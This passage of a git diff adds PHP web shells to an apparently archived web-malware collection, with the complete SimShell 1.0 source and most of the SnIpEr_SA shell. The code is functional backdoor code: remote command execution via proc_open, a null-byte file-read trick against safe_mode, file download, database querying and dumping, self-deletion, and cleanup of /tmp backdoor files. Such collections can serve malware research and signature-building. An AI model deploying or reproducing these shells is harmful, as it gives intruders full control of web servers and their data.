$_SESSION['cwd'] ?></span></code></p> + +<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> +<div style="width: 900; height: 454"> +<textarea name="output" readonly="readonly" cols="120" rows="20" style="color: #CCFF33; border: 1px dashed #FF0000; background-color: #000000"> +<?php +$lines = substr_count($_SESSION['output'], "\n"); +$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); +echo rtrim($padding . $_SESSION['output']); +?> +</textarea> +<p class="prompt" align="justify"> + cmd:<input class="prompt" name="command" type="text" + onkeyup="key(event)" size="60" tabindex="1" style="border: 1px dotted #808080"> + <input type="submit" value="Enter" /><input type="submit" name="reset" value="Reset" /> Rows: + <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" size="5" /> +</p> +<p class="prompt" align="center"> + <br> + <br> +&nbsp;<font color="#C0C0C0" size="2">Copyright 2004-Simorgh Security<br> + Make On PhpShell Kernel<br> + <a href="http://www.simorgh-ev.com" style="text-decoration: none"> + <font color="#C0C0C0">www.simorgh-ev.com</font></a></font></p> +</div> +</form> + + +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/SimShell 1.0 - Simorgh Security MGZ.txt b/web-malware-collection-master/Backdoors/PHP/SimShell 1.0 - Simorgh Security MGZ.txt new file mode 100755 index 0000000..2fff063 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/SimShell 1.0 - Simorgh Security MGZ.txt @@ -0,0 +1,180 @@ +<?php + +/*Simorgh Security Magazine */ + session_start(); +if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) { + $_SESSION['cwd'] = getcwd(); + $_SESSION['history'] = array(); + $_SESSION['output'] = ''; + } + + if (!empty($_REQUEST['command'])) { + if (get_magic_quotes_gpc()) { + $_REQUEST['command'] = stripslashes($_REQUEST['command']); + } + if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) + unset($_SESSION['history'][$i]); + + array_unshift($_SESSION['history'], $_REQUEST['command']); + + $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n"; + + if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) { + $_SESSION['cwd'] = dirname(__FILE__); + } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { + + if ($regs[1][0] == '/') { + + $new_dir = $regs[1]; + } else { + + $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; + } + + + while (strpos($new_dir, '/./') !== false) + $new_dir = str_replace('/./', '/', $new_dir); + + + while (strpos($new_dir, '//') !== false) + $new_dir = str_replace('//', '/', $new_dir); + + while (preg_match('|/\.\.(?!\.)|', $new_dir)) + $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); + + if ($new_dir == '') $new_dir = '/'; + + + if (@chdir($new_dir)) { + $_SESSION['cwd'] = $new_dir; + } else { + $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; + } + + } else { + + chdir($_SESSION['cwd']); + + $length = strcspn($_REQUEST['command'], " \t"); + $token = substr($_REQUEST['command'], 0, $length); + if (isset($aliases[$token])) + $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); + + $p = proc_open($_REQUEST['command'], + array(1 => array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } + + +header('Content-Type: text/html; charset=UTF-8'); + +echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n"; +?> + +<head> + <title>SimShell - Simorgh Security MGZ</title> + <link rel="stylesheet" href="Simshell.css" type="text/css" /> + + <script type="text/javascript" language="JavaScript"> + var current_line = 0; + var command_hist = new Array(<?php echo $js_command_hist ?>); + var last = 0; + + function key(e) { + if (!e) var e = window.event; + + if (e.keyCode == 38 && current_line < command_hist.length-1) { + command_hist[current_line] = document.shell.command.value; + current_line++; + document.shell.command.value = command_hist[current_line]; + } + + if (e.keyCode == 40 && current_line > 0) { + command_hist[current_line] = document.shell.command.value; + current_line--; + document.shell.command.value = command_hist[current_line]; + } + + } + +function init() { + document.shell.setAttribute("autocomplete", "off"); + document.shell.output.scrollTop = document.shell.output.scrollHeight; + document.shell.command.focus(); +} + + </script> +</head> + +<body onload="init()" style="color: #00FF00; background-color: #000000"> + +<span style="background-color: #000000"> + + + +</body> + +</body> +</html> + + + +</span> + + + +<p><span style="background-color: #000000">&nbsp;Directory: </span> <code> +<span style="background-color: #000000"><?php echo $_SESSION['cwd'] ?></span></code></p> + +<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> +<div style="width: 900; height: 454"> +<textarea name="output" readonly="readonly" cols="120" rows="20" style="color: #CCFF33; border: 1px dashed #FF0000; background-color: #000000"> +<?php +$lines = substr_count($_SESSION['output'], "\n"); +$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); +echo rtrim($padding . $_SESSION['output']); +?> +</textarea> +<p class="prompt" align="justify"> + cmd:<input class="prompt" name="command" type="text" + onkeyup="key(event)" size="60" tabindex="1" style="border: 1px dotted #808080"> + <input type="submit" value="Enter" /><input type="submit" name="reset" value="Reset" /> Rows: + <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" size="5" /> +</p> +<p class="prompt" align="center"> + <br> + <br> +&nbsp;<font color="#C0C0C0" size="2">Copyright 2004-Simorgh Security<br> + Make On PhpShell Kernel<br> + <a href="http://www.simorgh-ev.com" style="text-decoration: none"> + <font color="#C0C0C0">www.simorgh-ev.com</font></a></font></p> +</div> +</form> + + +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/SnIpEr_SA Shell.txt b/web-malware-collection-master/Backdoors/PHP/SnIpEr_SA Shell.txt new file mode 100755 index 0000000..a3b75ee --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/SnIpEr_SA Shell.txt @@ -0,0 +1,2246 @@ +<?php +/******************************************************************************************************/ +/* # ## ## # +/* # # ## ### ## ## # # +/* # ### ### # ### ## ### # +/* # ## ######### ## # +/* ########## +/* ### ######### ### +/* # ## ####### ## # +/* ## ##### ## +/* ## #### ## +/* #### ## +/* ###### +/* ## ## ## +/* @@ ## @@ +/* @ @@@ #### @@@ @ +/* @@@ ###### @@@ +/* +/* +/* +/* +/* +/* SnIpEr_SA.php - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ??????? +/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://3asfh.net/ +/* ??????: +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* ????????? ????????????? ?? ?????? ? ????: ? ???? ?????? ??. +/* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ?????? +/* ?? SnIpEr.SA@hotmail.com ??? ??????????? ????? ???????????. +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by SnIpEr_SA +/* MAIL http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +/* ~~~ �������� | Options ~~~ */ + +// ����� | Language +// $language='ru' - ??????? (russian) +// $language='eng' - english (??????????) +$language='eng'; + +// ?????????????? | Authentification +// $auth = 1; - ������ ������ ����� ������ ( authentification = On ) +// $auth = 0; - ������ ������ ����� ������ ( authentification = Off ) +$auth = 0; + +// ����� ����� ���� ���� ������ (Login & Password for access) +// ������ ������� �� ���� ���� ��� ������!!! (CHANGE THIS!!!) +// ��� ���� ���� ������ ��� ����� ����� md5, ������ ������ ��� �� 'r57' +// ������� �� ���� ���� ����� ���� �������� ����� md5 ������ �� ������� ������� +$name='ec371748dc2da624b35a4f8f685dd122'; // ��� �������� (user login) +$pass='ec371748dc2da624b35a4f8f685dd122'; // ���� ������ (user password) +/******************************************************************************************************/ +if(empty($_POST['SnIpEr_SA'])){ + +} else { +$m=$_POST['SnIpEr_SA']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); + +} +echo "".htmlspecialchars($m).""; +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = '1.31'; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="SnIpEr_SA"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://3asfh.net>SnIpEr_SA</a> : Access Denied</b>"); + } +} +$head = '<!-- SnIpEr_SA --> +<html> +<head> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta name="GENERATOR" content="Microsoft FrontPage 6.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title>SnIpEr_SA shell</title> + + + +<STYLE> +BODY { + SCROLLBAR-FACE-COLOR: #800000; SCROLLBAR-HIGHLIGHT-COLOR: #101010; SCROLLBAR-SHADOW-COLOR: #101010; SCROLLBAR-3DLIGHT-COLOR: #101010; SCROLLBAR-ARROW-COLOR: #101010; SCROLLBAR-TRACK-COLOR: #101010; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #101010 +} + +tr { +BORDER-RIGHT: #aaaaaa 2px solid; +BORDER-TOP: #eeeeee 2px solid; +BORDER-LEFT: #eeeeee 2px solid; +BORDER-BOTTOM: #aaaaaa 2px solid; +color: #ffffff; +} +td { +BORDER-RIGHT: #aaaaaa 2px solid; +BORDER-TOP: #eeeeee 2px solid; +BORDER-LEFT: #eeeeee 2px solid; +BORDER-BOTTOM: #aaaaaa 2px solid; +color: #cccccc; +} +.table1 { +BORDER: 1px; +BACKGROUND-COLOR: #333333; +color: #333333; +} +.td1 { +BORDER: 1px; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1px; +color: #2279D9; +} +table { +BORDER: #eeeeee 2px outset; +BACKGROUND-COLOR: #272727; +color: #2279D9; +} +input { +BORDER-RIGHT: #ffffff 2px solid; +BORDER-TOP: #999999 2px solid; +BORDER-LEFT: #999999 2px solid; +BORDER-BOTTOM: #ffffff 2px solid; +BACKGROUND-COLOR: #800000; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 2px solid; +BORDER-TOP: #999999 2px solid; +BORDER-LEFT: #999999 2px solid; +BORDER-BOTTOM: #ffffff 2px solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #CCCCCC;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #2279D9; +} +textarea { +BORDER-RIGHT: #ffffff 2px solid; +BORDER-TOP: #999999 2px solid; +BORDER-LEFT: #999999 2px solid; +BORDER-BOTTOM: #ffffff 2px solid; +BACKGROUND-COLOR: #3D3D3D; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 2px; +color: #2279D9; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#000000>'; + if(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=tahoma size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#333333><font face=tahoma size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=tahoma size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=tahoma size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div 